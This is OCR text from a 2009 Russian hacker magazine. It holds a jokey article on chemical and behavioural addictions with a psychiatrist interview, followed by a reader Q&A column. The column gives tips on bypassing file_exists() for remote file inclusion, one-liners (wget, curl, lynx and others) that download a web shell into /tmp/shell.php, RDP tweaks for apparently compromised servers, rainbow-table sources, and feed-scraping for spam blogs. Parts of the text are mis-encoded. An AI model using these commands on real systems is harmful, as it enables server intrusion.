В отличие от ролевых игр, в реальной жизни не сразу понятно, какое количество хитов<br />

у монстров должно быть, чтобы защититься от заклинания «гипноз», какое количество<br />

единиц радиации ты сможешь перенести и сколько psycho с ментами выкушать.<br />

С<br />

егодня мы поговорим о таком вредном душевном состоянии,<br />

как «зависимость». Зависимости подразделяются на аддикции<br />

(умный синоним к слову «зависимость») к психоактивным<br />

веществам и нехимические. К первым, как нетрудно догадаться,<br />

относятся многочисленные нарко- и токсикомании, а ко вторым — целый<br />

сонм состояний, не имеющих прямого отношения к веществам — от<br />

гэмблинга до компьютерной зависимости (их мы рассмотрим ниже).<br />

Кстати, нехимические — не означает «легкие». Науке известно немало<br />

людей, загремевших с ними в самый настоящий дурдом.<br />

Для начала, на примере наркомании мы рассмотрим определение,<br />

основные причины и составляющие зависимостей как таковых, а во<br />

второй части статьи — разберемся с частными случаями нехимических<br />

зависонов.<br />

ПСИХОАКТИВНЫЕ ВЕЩЕСТВА<br />

К зависимостям от психоактивных веществ относят алкоголизм, наркомании<br />

и токсикомании. Общие для всех этих аддикций моменты:<br />

• психическая и/или физическая зависимость;<br />

• изменение толерантности.<br />

Психическая зависимость — состояние, при котором все мысли нарка по<br />

большей части оказываются занятыми либо переживаниями предыдущих<br />

трипов, либо предвкушением скорого приема новой дозы. Соответственно,<br />

сладостное предвкушение влечет за собой некий душевный<br />

подъем и чувство радости, а вот облом от невозможности эту самую<br />

дозу своевременно принять — наоборот, депрессивное, подавленное и<br />

«общехреновое» душевное состояние. Со временем вирусный алгоритм<br />

«Найти! Уколоть!» тотально поражает вычислительные способности<br />

мозга и подчиняет себе все поступки индивида.<br />

Разумеется, психическая зависимость формируется не сама по себе и не<br />

у каждого. Это — результат исходного душевного состояния (чаще всего,<br />

расстройств личности) и действия психоактивного вещества на соответствующие<br />

области в головном мозге (здесь я хотел употребить любимые<br />

в народе термины «дофамины», «катехоламины», «эндогенные опиаты»<br />

и «серотонины», — но вовремя одумался).<br />

Исходное состояние ума имеет большое значение, ведь не каждый<br />

человек, принимающий ПАВ, может считаться наркоманом — «экспериментаторы»,<br />

считающие, что в жизни надо попробовать все, способны<br />

без зависания пробовать разные вещества и больше никогда к ним не<br />

возвращаться; «эпизодические потребители» пробуют ПАВ изредка<br />

или по какому-нибудь поводу (в хорошей компании косячок раскурить,<br />

чарочку винца хмельного распить), но опять же, никакой зависимости<br />

у них нет, поскольку нет в их сознании доминирующей идеи принять<br />

любимое вещество снова. По-настоящему зависимые товарищи — это<br />

120<br />

наркоманы, торчащие (распивающие, играющие, нюхающие — нужное<br />

подчеркнуть) постоянно. Именно у представителей этой «группы» развиваются<br />

все три признака зависимости, из которых мы пока рассмотрели<br />

лишь один. Исправим ситуацию!<br />

Физическая зависимость — для простоты произнесу всего одно популярное<br />

в народе слово: «абстинентный синдром». Он же — «синдром<br />

лишения». Рассмотрим на примере. Если человек на утро после хорошей<br />

выпивки не в состоянии даже смотреть на бухло — он обычный парень,<br />

который вчера перебрал (и у него не абстинентный, а постинтоксикационный<br />

синдром — следствие перенесенного отравления алкоголем).<br />

Если же он чувствует потребность «поправить здоровье» еще одной порцией<br />

спиртного — это симптом алкогольной зависимости. Практически<br />

то же самое касается всех остальных веществ, вызывающих физическую<br />

зависимость.<br />

Есть и третий элемент в зловещей мозаике химических зависимостей.<br />

Называется он «изменение толерантности». Поясню на примере алкоголизма.<br />

Поначалу толерантность к выпивке у пьяницы растет — и вот ему<br />

уже под силу употребить гораздо больше спиртного, чем раньше. Из-за<br />

этого он может позволить себе смотреть свысока на «не умеющую пить<br />

школоту» :). Правда, затем оказывается, что школота избрала себе более<br />

правильную судьбину, а горький пьяница, вместе с переходом в третью,<br />

заключительную стадию алкоголизма, испытает «срыв толерантности»<br />

— вынос мозга с одной-двух рюмок (вместо, скажем, литра ранее).<br />

То же самое характерно для большинства химических и нехимических<br />

зависимостей — «аппетит растет во время еды». Например, дозы морфина,<br />

которая отправит в реанимацию чистого душой человека, матерому<br />

торчку для получения оттяга может быть недостаточно. Правда, торчки<br />

все равно рано или поздно достигают своего фатального (или не очень)<br />

передоза.<br />

ЗАВИСИМОСТЬ ОТ АЗАРТНЫХ ИГР<br />

Называется эта аддикция «лудоманией» или «гэмблингом». В нашей<br />

стране распространилась не так давно (по галактическому летоисчислению),<br />

совпав с бумом казино и игровых автоматов. Отличить патологического<br />

игрока от игрока обычного, эпизодического, просто — вспомни<br />

определение зависимостей. Игромания мешает нормальной жизни?<br />

Занимает непростительно много времени, отвлекая от учебы, работы,<br />

мытья посуды и чтения «Хакера» за завтраком? Соответственно, подопытный<br />

получает в довесок все типичные черты наркомана — проводит<br />

за игрой все больше и больше времени, теряет связи с нормальной<br />

социальной жизнью (95% оперативной памяти в головном конце его<br />

туловища постоянно заполнено мыслями о прошлых играх или предвкушениями<br />

будущих). Он постоянно повышает ставки (то есть, «дозу»),<br />

XÀÊÅÐ 04 /124/ 09


units<br />

Револьвер, стакан спиртного и фишки недвусмысленно намекают на<br />

сочетание аддикций и их возможные последствия<br />

ДИАГНОСТИЧЕСКИЕ КРИТЕРИИ<br />

ЗАВИСИМОСТИ ОТ ПАВ<br />

Бонус от международной классификации болезней 10-го пересмотра<br />

— диагностические критерии зависимости от психоактивных<br />

веществ (в т.ч., алкоголя). Имеешь больше 3-х признаков? Поздравляем,<br />

— диагноз!<br />

1. Сильная потребность или необходимость принимать вещество.<br />

2. Нарушение способности контролировать прием вещества — начало,<br />

окончание приема, дозировку.<br />

3. Появление синдрома отмены, требующего повторного приема<br />

вещества или его аналога.<br />

4. Признаки изменения толерантности — увеличение или уменьшение<br />

необходимой дозы зелья.<br />

5. Прогрессирующий отказ от альтернативных интересов в пользу<br />

употребления вещества.<br />

6. Продолжение приема вещества, невзирая на очевидные вредные<br />

последствия.<br />

становится лживым, агрессивным и раздражительным (попробуй<br />

насильственно отлучить гэмблера от однорукого бандита ;)). Дальше —<br />

может втравиться в криминальные дела для решения своих финансовых<br />

проблем. Весьма часто такие персонажи оказываются склонны к паразитированию<br />

на родственниках (с работы и учебы, если таковые вообще<br />

были, их нередко прут).<br />

СЕКСУАЛЬНАЯ АДДИКЦИЯ<br />

Наверняка, у тебя среди знакомых числится хотя бы один персонаж,<br />

очень трепетно относящийся к теме секса. Он часто меняет партнеров,<br />

много говорит и думает о всяких срамных вещах, тусуется по разным<br />

ночным учреждениям вроде клубов и вообще, очень озабочен интимной<br />

стороной человеческих взаимоотношений. Прямо скажем, человек этот<br />

больным не выглядит, а в общении и сам способен объявить больным<br />

любого собеседника, поскольку всем ясно, что трахаться — это круто!<br />

«Пока вы тут со своими постоянными девушками (а то и женами, хе-хе)<br />

месяцами занимаетесь своими унылыми интимными телодвижениями,<br />

я тусуюсь, трахаюсь и живу полной жизнью». Что же в этом плохого? Если<br />

мы говорим об аддикции, то плохо тут следующее:<br />

• Подобное поведение — следствие расстройства личности и/или<br />

неадекватного воспитания, в процессе которого нашему испытуемому<br />

почему-то стало казаться, что единственное, чем он может быть заметен<br />

Наркотическая зависимость — заболевание, характеризующееся<br />

патологическим влечением к различных психоактивным веществам,<br />

развитием зависимости и толерантности<br />

в жизни — это секс. Не исключено,<br />

кстати, сексуальное<br />

насилие в детстве.<br />

• Общий фон настроения таких<br />

персонажей часто низкий,<br />

иначе говоря — до (и после)<br />

приема очередной «дозы» они<br />

находятся в депрессии, у них<br />

повышен уровень тревоги.<br />

• По сути дела, наш подопытный<br />

асоциален, и его способностям<br />

к сотрудничеству и<br />

Героин от компании Байер (прославилась<br />

аспирином). Очень по-<br />

совместному проживанию с<br />

другими людьми позавидовать пулярное лекарство в свое время<br />

нельзя. Что я подразумеваю в было :)<br />

этом контексте под асоциальностью?<br />

Перечислю ключевые слова: разгильдяйство,<br />

склонность к кидалову, эгоцентризм, тенденция рассматривать<br />

окружающих в качестве сексуальных партнеров и отсутствие<br />

толкового интереса к чему-либо кроме секса. В общем, все, как и в любых<br />

других зависимостях — в голове только одна доминирующая мысль<br />

и одна линия поведения. О работе, творческой деятельности и взятых на<br />

себя обязательствах в подобных условиях думать трудно.<br />

• Беспорядочный трах, от которого нас предостерегал еще Лука Мудищев,<br />

ведет к заражению болезнями, которые наши с тобой героические<br />

предки называли «гусарским насморком». Правда, о гепатитах и СПИДе<br />

тогда еще не знали.<br />

• Эта зависимость с большой частотой сочетается с другими — наркоманией<br />

(ну, как не нюхнуть кокаинчика или не закинуть на кишку немножечко<br />

спидов?), гэмблингом, шопоголизмом и тому подобными.<br />

Кстати, хочу тебя предостеречь от преждевременных суждений — не<br />

каждый субъект, у которого бывает более одного партнера за месяц,<br />

может считаться зависимым. Может, просто стиль жизни такой :).<br />

РАБОТОГОЛИЗМ<br />

С самого момента основания «zакера», еще при SINtez’e, мы вынашивали<br />

секретный план наводнить штат журнала безумными трудоголиками,<br />

спекулируя на их стремлении убежать от реальности, погрузившись в<br />

работу, на страхе показаться некомпетентными, на гипертрофированной<br />

ответственности за результат («как же они там без меня справятся?»)…<br />

не вышло. Мы пробовали бомбардировать мозг авторов медленными<br />

нейтронами и воздействовать на них токами высокого напряжения и<br />

сверхнизкой частоты — ничего не получилось. Как они были разгиль-<br />

XÀÊÅÐ 04 /124/ 09<br />

121


units<br />

Игра в компьютерный преферанс с ЭВМ еще никого не сделала аддиктом,<br />

а мозги прочищает не хуже тетриса :)<br />

дяями, так и остались. А может, оно и к лучшему? Ведь работоголик<br />

представляет собой организм довольно зомбированный, контркреативный<br />

(да-да, крутую тему для статьи и ништяковый дизайн обложки он<br />

придумать, скорее всего, неспособен) и невеселый. Посмотрел бы я на<br />

тебя, будь ты работоголиком! Веселиться тут трудно — пришел на службу<br />

с утречка, ближе к ночи свалил домой, а дома что? Дома ждет унылая<br />

ругань с родичами. Причем, он их прессует по полной — для оправдания<br />

своей зависимости у него есть целая легенда, с которой не поспоришь:<br />

и деньги-то он зарабатывает, и карьеру делает, и работает один во всем<br />

офисе, поскольку все дураки, а только он умный. Одним словом, работоголикам<br />

нужна психиатрическая помощь.<br />

В 11-й серии 1-го сезона «Доктор Хаус» абстинентный синдром мешает<br />

главному герою мыслить здраво и может стать причиной смерти пациента<br />

физическое насилие со стороны родных и близких?<br />

КОМПЬЮТЕРНАЯ АДДИКЦИЯ<br />

Скрывать нечего — мы с тобой хорошо знаем, что собой представляют<br />

эти сомнительные, зависимые от персональной электронновычислительной<br />

машины, люди :). Кто-то дни и ночи напролет проводит<br />

в линеечку, контру и вовец, забывая про сон, еду и завтрашнюю сессию,<br />

кто-то отвисает на форумах до тех пор, пока в интернетах не кончатся<br />

несогласные с ними люди, а иные, особо злокачественные персонажи,<br />

слишком увлекаются рассматриванием голых женщин или даже<br />

вульгарно-натуралистических изображений половых актов все в той<br />

же многострадальной Сети. Поэтому, друг мой, я не буду тебе ничего<br />

рассказывать о компьютерных аддиктах (кто хочет — пусть гуглит на<br />

предмет терминов «хикки», «нерд», «задрот» и т.п.). Вместо этого я<br />

немного побеседовал со специализирующимся на этой зависимости<br />

врачом-психиатром, психотерапевтом, к.м.н., СНС московского НИИ<br />

психиатрии, преподавателем и консультантом Института психотерапии и<br />

клинической психологии, Виталиной Александровной Лоскутовой.<br />

z Есть ли информация, какие зависимости из группы «компьютерных»<br />

сейчас лидируют? Игры, интернет-общение и прочее?<br />

В.А. Возможно, существует более точная статистика, а навскидку могу<br />

сказать, что лидируют интернет-общение и интернет-игры (что, по сути, и<br />

есть то же самое интернет-общение, только в контексте игры).<br />

z Известно, что тесты для выявления этой аддикции существуют. А что<br />

делать тем, у кого сей тест на беременность окажется положительным?<br />

В.А. Обращаться к психотерапевту (ïñèõîòåðàïåâò ó íàñ â ñòðàíå<br />

— ýòî ïñèõèàòð, ïðîøåäøèé äîïîëíèòåëüíîå îáó÷åíèå ïî ïñèõîòåðàïèè<br />

— Ïðèì. ðåä.). Только давайте все-таки определим рамки<br />

аддикции: мы говорим о сформированной зависимости, как о проблеме,<br />

требующей решения (лечения), тогда, когда страдает физическое или<br />

психическое здоровье, или социальная жизнь — работа, учеба, отношения<br />

с родными/друзьями и так далее.<br />

z А нельзя ли справиться своими силами или силами окружающих? Например,<br />

лечебное привязывание, электротерапия в домашних условиях,<br />

В.А. Возможно, — и я знаю подобные случаи. Для этого нужно, чтобы<br />

человек осознал наличие проблемы и имел желание ее решить. Хорошо,<br />

когда зависимого человека поддерживают близкие. При этом насилие<br />

категорически противопоказано. Вообще, с зависимыми плохо работают<br />

стратегии защиты и контроля, а хорошо — стратегия сотрудничества.<br />

z А в каких медицинских учреждениях стоит искать исцеление? Платно,<br />

бесплатно?<br />

В.А. В психоневрологическом диспансере или наркологическом диспансере<br />

по месту жительства и некоторых районных поликлиниках —<br />

психотерапевтическую помощь можно получить бесплатно, а за деньги<br />

— в медцентрах. Кроме того, получить бесплатную помощь по направлению<br />

ПНД или НД можно в Московском НИИ психиатрии, Национальном<br />

научном центре наркологии или в ГНЦССП им. Сербского.<br />

z А в чем заключается лечение?<br />

В.А. Психотерапия — в обязательном порядке, медикаментозная терапия<br />

— по показаниям.<br />

z Но бить и привязывать к кровати точно не будете?<br />

В.А. Если будете себя хорошо вести — нет.<br />

ШОПОГОЛИЗМ<br />

Слово, как бы намекающее на «-голизм, вызванный шопингом», появилось<br />

в нашем лексиконе относительно недавно (подозреваю, без влияния<br />

зомбоящика не обошлось!), а в целом, проблемой «аддикции к трате<br />

денег» психиатры занимаются уже около семнадцати лет (предпосылки<br />

возникли и того раньше). Как нетрудно догадаться, эта зависимость<br />

поражает умы преимущественно представительниц прекрасного пола<br />

(более 90% страдающих — женщины), и проявляется она совершенно<br />

непонятными для мужского мозга вещами, такими как:<br />

• Склонностью к совершению большого количества покупок, в том числе,<br />

явно не нужных и совершенных в долг (вопросы выплат по кредитам в<br />

статье не рассматриваются; они всплывут позже, возможно, даже став<br />

122<br />

XÀÊÅÐ 04 /124/ 09


units<br />

В фильме «Шопоголик» (снятом по одноименной серии книг) молодая<br />

девушка, помешанная на шопинге и дорогой одежде, живет в состоянии<br />

войны между своим банковским лимитом и искушениями большого<br />

города<br />

причиной короткого раскаяния, которое все равно к излечению не приведет).<br />

• Имеют место вспышки острого желания что-нибудь да приобрести.<br />

Отсутствие возможности реализовать это желание приводит аддикта в состояние,<br />

схожее с ощущениями наркомана, который не может принять дозу.<br />

• Ясное дело, что «покупочная аддикция» серьезно мешает повседневной<br />

жизни, в том числе и тем, что наша подопытная может провести в магазине<br />

гораздо больше времени, чем планировалось (если она вообще<br />

планировала туда идти), и потратить там много денег. Либо, как я уже<br />

говорил, влезть в кредит, который непонятно кто потом будет отдавать.<br />

Кстати, бывает так, что даже самый обычный и нормальный человек,<br />

зайдя в гипермаркет купить пару пива и чипсов с креветками, вдруг<br />

обнаруживает себя на кассе с корзинкой товаров и чеком на 4-8 тысяч<br />

деревянных. Почему так происходит? Послушаем бедолагу. «Все это<br />

было мне нужно, — лепечет он. — Штаны новые нужны, вроде и сока<br />

купить тоже надо было... жаль, что не продавался по одному — пришлось<br />

ящик взять. Опять же, молока, мяса, консервов… разве ненужные<br />

вещи?». Формально — нужные, но собирался чел ведь только за пивом<br />

и креветками. Чтобы не оказаться в положении старшеклассницы,<br />

зомбированной ассортиментом гипермаркета, заранее планируй, что<br />

требуется купить, пиши на бумажку список «маст хев» (купил — поставь<br />

галочку. Нужно что-то еще? Обойдешься! Забыл вписать в список — теперь<br />

страдай) и ставь финансовый лимит, который ни при каких условиях<br />

не будешь превышать. Даже если деньги в кошельке есть. А лучше — вообще<br />

не бери с собой лишних денег, пусть дома лежат. z<br />

ЗАВИСИМОЕ РАССТРОЙСТВО<br />

ЛИЧНОСТИ<br />

Люди, отягощенные этим расстройством, несамостоятельны,<br />

зависимы от чужой точки зрения (которую принимают, даже осознавая<br />

собственную правоту, — из страха быть отвергнутыми) и<br />

неспособны к самостоятельному принятию решений. Часто они<br />

«прицепляются» к человеку, в тени которого живут, или образуют<br />

созависимость с другим аддиктом. Например, почему так выходит,<br />

что жена продолжает жить с совершенно асоциальным мужемалкоголиком,<br />

который ежедневно бухает, распускает руки и живет<br />

на ее бабло? Потому что образовалась созависимость. Своими силами<br />

ее разрушить трудно.<br />

Сам понимаешь, первейший кандидат на любую зависимость — это<br />

человек с соответствующим расстройством личности. Эти же люди<br />

(вместе со страдающими истероидными расстройствами) составляют<br />

львиную долю публики, зависимой от сект и полурелигиозных<br />

организаций (в качестве отдельной аддикции «сектозависимость»<br />

пока не выделяют).<br />

XÀÊÅÐ 04 /124/ 09<br />

Один из плакатов Фонда борьбы с наркотической зависимостью: «Экстази.<br />

Присоединитесь к уникальной лотерее, которая дает возможность<br />

выиграть в качестве приза ДТП»<br />

ЧАСТНЫЕ СЛУЧАИ<br />

ЗАВИСИМОСТИ ОТ ПАВ<br />

• Опийная наркомания. К опиатам относятся морфин (он же<br />

«Морфiй»), героин, омнопон, промедол и метадон. Зависимость от<br />

опиатов — одна из самых тяжелых, развивается довольно быстро<br />

— например, для морфия это, в среднем, 10 уколов, для героина —<br />

3-5, а то и меньше. Принимают опиаты как путем внутривенного<br />

вштыривания, так и — вдыхая порошок (героин) или закидываясь<br />

таблетками (кодеин, который входит в состав средств от кашля).<br />

Начинающих наркоманов привлекает приятный «приход» с ощущением<br />

«теплой волны и удара в голову» и, собственно, состояние<br />

опьянения — ощущение удовольствия, легкости мыслей и чувств,<br />

мелькание приятных образов. Это да, привлекает. Обламывают последствия<br />

— тоскливо-злобное настроение после наркотического<br />

эпизода, развивающаяся психическая и физическая зависимость.<br />

• Производные конопли. Травку, гашиш и гашишное масло, как<br />

известно, курят и употребляют в пищу. Для этой наркоты имеет<br />

большое значение «установка на кайф», случайно выкуренная<br />

папироска часто не вызывает никаких ощущений. Зависимость от<br />

нее развивается медленно, первой — психическая, а через 2-3 года<br />

следует и физическая. Поэтому большинство употребляющих так и<br />

остаются в группе эпизодических потребителей.<br />

• Кокаин. Ватсон, подайте мне мой несессер с кокаином, в Лондоне<br />

осталось совсем мало настоящих преступлений! Действие кокаина<br />

— стимулирующее и возбуждающее (да-да, в том числе и сексуально<br />

возбуждающее!). Довольно быстро развивается психическая<br />

зависимость, следом идет физическая. Кокаин дорог, а здоровье<br />

поправлять надо (после опьянения неизбежна посткокаиновая<br />

депрессия). Деньги наш подопытный спускает быстро, в ход идет<br />

барбитура, алкоголь, транки и антидепрессанты. В общем, не очень<br />

это все полезно для организма.<br />

• Психостимуляторы. Экстази (love drug), фенамин, метафетамин,<br />

эфедрин. Честное слово, недавно в каком-то мужском журнале видел<br />

гайд по злоупотреблению экстази. Отличная идея, экстази имеет<br />

двойное действие — оказывает стимулирующее-возбуждающее<br />

и галлюциногенный эффект. Экстази часто бодяжат с другими веществами<br />

или просто разбавляют побелкой. В литературе описаны<br />

случаи внезапной смерти от острой почечной недостаточности или<br />

кровоизлияния в мозг.<br />

123


units<br />

МАГ<br />

/ ICQ 884888 /<br />

FAQ UNITED:<br />

Q: Существует куча php-классов для синонимизации<br />

(замены отдельных слов — синонимами)<br />

текста. А нет ли сервисов для онлайнсинонимизации?<br />

A: Разнообразить свой дорвейный текст<br />

синонимами, что называется, не отходя от<br />

кассы, можно на ресурсах turnkeyhero.com/<br />

replacer_tester.php или spinnertool.com, которым<br />

пользуюсь лично я. А вот и пример онлайнсинонимизации.<br />

Передаем на вход сервису<br />

следующий текст:<br />

You Can Quickly And Easily Rewrite<br />

Your Content And Drive More And<br />

More Ultra-Responsive Targeted<br />

Traffic To Your WebSite — Even If<br />

You Are A Newbie!<br />

И получаем в ответ уникальный тест, созданный<br />

автоматическим копирайтером:<br />

You Can Quickly And Colloquialism<br />

Writing Your Accumulation And<br />

Propulsion More And More Ultra-<br />

Responsive Targeted Assemblage To<br />

Your WebSite — Even If You Are A<br />

Newbie!<br />

Неплохо для бесплатного сервиса, не правда<br />

ли?<br />

Q: Как создать автонаполняемый блог?<br />

A: Обычно для всяческих WordPress-блогов<br />

используются плагины, которые оперируют<br />

чужими RSS-лентами, преобразуя их в посты.<br />

Как быть, если ты создаешь блог на blogspot.<br />

com, wordpress.com и иже с ними? Все очень<br />

просто! Понадобится всего лишь такая фича<br />

блогохостингов, как постинг по e-mail, все те же<br />

стыренные RSS-ленты, а также сервис вроде<br />

www.rss2email.ru.<br />

Итак, создавай новый блог, находи постинг по<br />

e-mail (на блогспоте ты получишь специальный<br />

e-mail, куда нужно будет присылать посты, а на<br />

вордпрессе — должен будешь ввести параметры<br />

доступа к любому своему ящику). Затем иди<br />

на www.rss2email.ru и добавляй новые ленты<br />

новостей со своим мылом. Через некоторое<br />

время с удивлением увидишь, что твой новоявленный<br />

блог, как по волшебству, растет и<br />

наполняется :).<br />

Не надо забывать и о замечательном сервисе<br />

Yahoo Pipes (pipes.yahoo.com), позволяющем<br />

творить чудеса с различными RSS-потоками,<br />

а также просто информацией с произвольных<br />

веб-страниц, как угодно манипулируя данными.<br />

Причем, для этого не обязательно быть гуру в<br />

программинге и скрипто-строении: для кодинга<br />

используется графический подход, а именно<br />

— набор элементов, которые надо разместить<br />

на рабочем поле, нужным образом связать и<br />

задать параметры. Подробнее читай в статье<br />

«Интернет на одной странице» (z#110).<br />

Q: Подскажи, как определить, находится ли<br />

мой дедик за натом?<br />

A: Очень просто! Заходи в «Start Run <br />

ipconfig» и смотри вывод команды. Дедик<br />

находится за NAT, если висит на одном из IPдиапазонов:<br />

10.0.0.0 — 10.255.255.255<br />

172.16.0.0 — 172.31.255.255<br />

192.168.0.0 — 192.168.255.255<br />

Q: Как обойти проблему дисконнекта через n<br />

минут на моем дедике?<br />

A: Допустим, твой логин на дедик Lopa. Тогда<br />

для тебя неприятность с вырубанием сессии<br />

лечится достаточно легко: My Computer Правая<br />

кнопка мыши Manage — Local users and<br />

groups Users Твой акк Правая кнопка<br />

XÀÊÅÐ 04 /124/ 09<br />

124


units<br />

мыши Properties Sessions. На этой вкладке<br />

везде ставь «Never». Также проверь в Run <br />

tscc.msc RDP следующие значения вкладок:<br />

net accounts /forcelogoff:no<br />

net accounts /maxpwage:unlimited<br />

Q: Хочу создать свою блого-социальную сеть<br />

наподобие Хабра. Как проще это сделать?<br />

A: Если не хочешь заморачиваться с написанием<br />

собственного движка, то могу посоветовать<br />

готовое бесплатное решение LiveStreet (http://<br />

livestreet.ru) от программера Максима Мжельского<br />

(aka ort).<br />

Основные возможности движка:<br />

• Èñïîëüçîâàíèå UTF-8<br />

• Âåäåíèå ïåðñîíàëüíûõ áëîãîâ<br />

• Âîçìîæíîñòü ñîçäàíèÿ êîëëåêòèâíûõ<br />

áëîãîâ<br />

• Ñèñòåìà ðåéòèíãîâ áëîãîâ, òîïèêîâ,<br />

êîììåíòàðèåâ, ïîëüçîâàòåëåé<br />

• Ñèñòåìà ãîëîñîâàíèÿ çà áëîãè, òîïèêè,<br />

êîììåíòàðèè, ïîëüçîâàòåëåé<br />

• Âîçìîæíîñòü äîáàâëÿòü òîïèêè â<br />

èçáðàííîå<br />

• Àâòîïîäñòàíîâêà òåãîâ<br />

• Êîëëåêòèâíàÿ âíóòðåííÿÿ ïî÷òà<br />

• Ñèñòåìà êîíòðîëÿ äîñòóïà (ACL) ê<br />

ðàçíûì âîçìîæíîñòÿì ñåòè (ñîçäàíèå<br />

áëîãà, ãîëîñîâàíèå è ò.ï.)<br />

• Âîçìîæíîñòü ñîçäàòü çàêðûòûé ñàéò<br />

• Ñèñòåìà èíâàéòîâ<br />

• Òîïèêè-ññûëêè<br />

• Òîïèêè-îïðîñû<br />

• Àäìèíèñòðèðîâàíèå ñâîèõ áëîãîâ<br />

• Íàçíà÷åíèå ìîäåðàòîðîâ áëîãîâ<br />

• Íàñòðîéêè îïîâåùåíèé íà e-mail<br />

А если ты решил создать тематическое сообщество<br />

и сделать его похожим, скажем, на<br />

VKontakte.ru, то можешь использовать часть<br />

движка. API для создания социалки, а также<br />

пример подобного ресурса бесплатно доступны<br />

на сайте userapi.com.<br />

Q: Нашел удаленный инклуд в одном замечательном<br />

скрипте, но все дело портит функция<br />

file_exists(). Есть ли способы ее обойти?<br />

A: Такие способы действительно есть! Раскопал<br />

их один из лидеров Античата .Slip (за что<br />

ему пожизненный респект!). Все дело в том,<br />

XÀÊÅÐ 04 /124/ 09<br />

что, начиная с PHP 5.0.0, функция file_exists()<br />

может работать с упаковщиками урл. Не только<br />

с «ftp://», но так же и с «php://memory», «php://<br />

temp», «ssh2.sftp://».<br />

Следующий скрипт выведет нам true!<br />

<br />

Подробнее об этом векторе атак на веб-приложения<br />

советую прочитать в топике .Slip’а:<br />

http://forum.antichat.ru/thread99589.html.<br />

Q: Скачал с какого-то сайта дизайн в psd. Как<br />

бы теперь преобразовать его в css и html?<br />

Платить верстальщикам не хочу.<br />

A: Попробуй бесплатный онлайн-сервис http://<br />

www.psd2cssonline.com.<br />

Для начала проверь в фотошопе, соответствует<br />

ли твой дизайн следующим требованиям<br />

сервиса:<br />

1. Дизайн не изобилует слоями.<br />

2. В дизайне используются только 8-битные<br />

RGB пикчи (16-битные и выше не поддерживаются).<br />

3. В дизайне отсутствуют невидимые слои.<br />

4. Psd-файл с дизайном весит не более 4 метров<br />

(8 — для платных юзеров).<br />

Расширенную версию требований на английском<br />

языке смотри тут — www.psd2cssonline.<br />

com/node/9.<br />

Все нормально и соответствует этим пунктам?<br />

Тогда смело загружай в форму «Upload your<br />

PSD» в шапке сайта свой многострадальный<br />

дизайн и наслаждайся результатом!<br />

Q: Какие еще существуют никсовые качалки,<br />

полезные для нашего брата (кроме curl и<br />

wget)?<br />

A: Вот простейший синтаксис всех распространенных<br />

качалок для никсов:<br />

lynx: lynx -source "http://site.<br />

com/shell.txt" > /tmp/shell.php<br />

links: links -source "http://site.<br />

com/shell.txt" > /tmp/shell.php<br />

wget: wget -O /tmp/shell.php<br />

http://site.com/shell.txt<br />

GET: GET http://site.com/perl.txt<br />

> /tmp/shell.php<br />

fetch: fetch -o shell.php http://<br />

site.com/shell.txt<br />

curl: curl --output shell.php<br />

http://site.com/shell.txt<br />

Q: Я забыл свой админский пассворд на Винду!<br />

Что делать?<br />

A: Используй тулзу Offline NT Password &<br />

Registry Editor (home.eunet.no/~pnordahl/<br />

ntpasswd).<br />

Из особенностей утилиты:<br />

• Ñáðàñûâàåò ïàðîëü ëþáîãî þçåðà,<br />

êîòîðûé èìååò âàëèäíûé àêêàóíò íà<br />

òâîåé ñèñòåìå Windows NT/2k/XP/<br />

Vista<br />

• Ìîæíî íå çíàòü ñòàðûé ïàðîëü äëÿ<br />

óñòàíîâêè íîâîãî<br />

• Óòèëèòà ðàáîòàåò offline, òàê<br />

÷òî òû äîëæåí òîëüêî ðåáóòíóòü ñâîé<br />

êîìïüþòåð ñ ôëîïèêà, CD èëè êàêîéíèáóäü<br />

äðóãîé ñèñòåìû<br />

• Óòèëèòà ñìîæåò íàéòè è ðàçáëîêèðîâàòü<br />

çàëî÷åííûå èëè îòêëþ÷åííûå<br />

àêêàóíòû<br />

Удачи!<br />

Q: Хочу организовать свой сервис для восстановления<br />

md5-хешей, но, в то же время,<br />

не хочется заниматься генерацией радужных<br />

таблиц. Где бы скачать уже готовые<br />

таблицы?<br />

A: В формате торрентов их можно скачать<br />

здесь: http://rainbowtables.shmoo.com.<br />

Сервис предлагает следующие rainbow tables:<br />

1. Большие буквы латинского алфавита;<br />

2. Большие буквы латинского алфавита +<br />

цифры;<br />

3. Большие буквы латинского алфавита + цифры<br />

+ спецсимвол.<br />

Также хочу порекомендовать софт для генерации<br />

данных таблиц (если ты не захочешь их качать)<br />

— RainbowCrack 1.2 (http://www.antsight.<br />

com/zsl/rainbowcrack).<br />

А вот примерные размеры различных rainbow<br />

таблиц:<br />

[ABCDEFGHIJKLMNOPQRSTUVWXYZ] — 610<br />

MB (8353082582 çàïèñåé);<br />

[ABCDEFGHIJKLMNOPQRSTUVWXYZ012345<br />

6789] — 3 GB (80603140212 çàïèñåé);<br />

125


units<br />

[ABCDEFGHIJKLMNOPQRSTUVWXYZ01234<br />

56789!@#$%^&*()-_+= ] - 24<br />

GB (915358891407 çàïèñåé);<br />

[ABCDEFGHIJKLMNOPQRSTUVWXYZ0<br />

123456789!@#$%^&*()-_+=~'[]<br />

{}|\:;"',.?/ ] — 64 GB<br />

(7555858447479 çàïèñåé);<br />

[abcdefghijklmnopqrstuvwxyz012<br />

3456789] — 36 GB (2901713047668<br />

çàïèñåé).<br />

Q: Замучался уже обновлять свой ICQ-клиент<br />

из-за постоянных смен протокола AOL’ом.<br />

Как оставаться онлайн, несмотря на все их<br />

козни?<br />

A: Если ты любишь пользоваться альтернативными<br />

асечными клиентами и ни в коем случае<br />

не хочешь ставить официальную ICQ 6.5 (что<br />

правильно), то могу посоветовать один из способов<br />

от админа Асечки .pin’а. Итак:<br />

1. Заходи на http://ru.toonel.net и скачивай<br />

Windows-версию клиента, не требующую Java<br />

(вес 2.0 MB);<br />

2. Устанавливай и запускай скачанную программу;<br />

3. Заходи на вкладку «Порты», удаляй все,<br />

кроме «127.0.0.1»;<br />

4. Выделяй «127.0.0.1» и проверь поле «локал.<br />

порт». Если цифра 8090 тебя устраивает — оставляй;<br />

нет — меняй на любой другой удобный<br />

тебе порт;<br />

5. Теперь заходи в свой асечный клиент, в<br />

раздел с настройками сети, устанавливай<br />

галку «Использовать прокси», тип «https»,<br />

хост «localhost», порт 8090 (ну или тот, который<br />

ты выбрал раньше). Дальше — отмечай галку<br />

«Использовать DNS на прокси» и сохраняй<br />

новые настройки;<br />

6. Перелогинивайся и наслаждайся общением.<br />

P.S. За все обновления протокола на мой любимый<br />

клиент &RQ ни единого раза не приходило<br />

злосчастное сообщение от UIN #1, — чего не<br />

скажешь о QIP и Miranda. Так что советую попробовать<br />

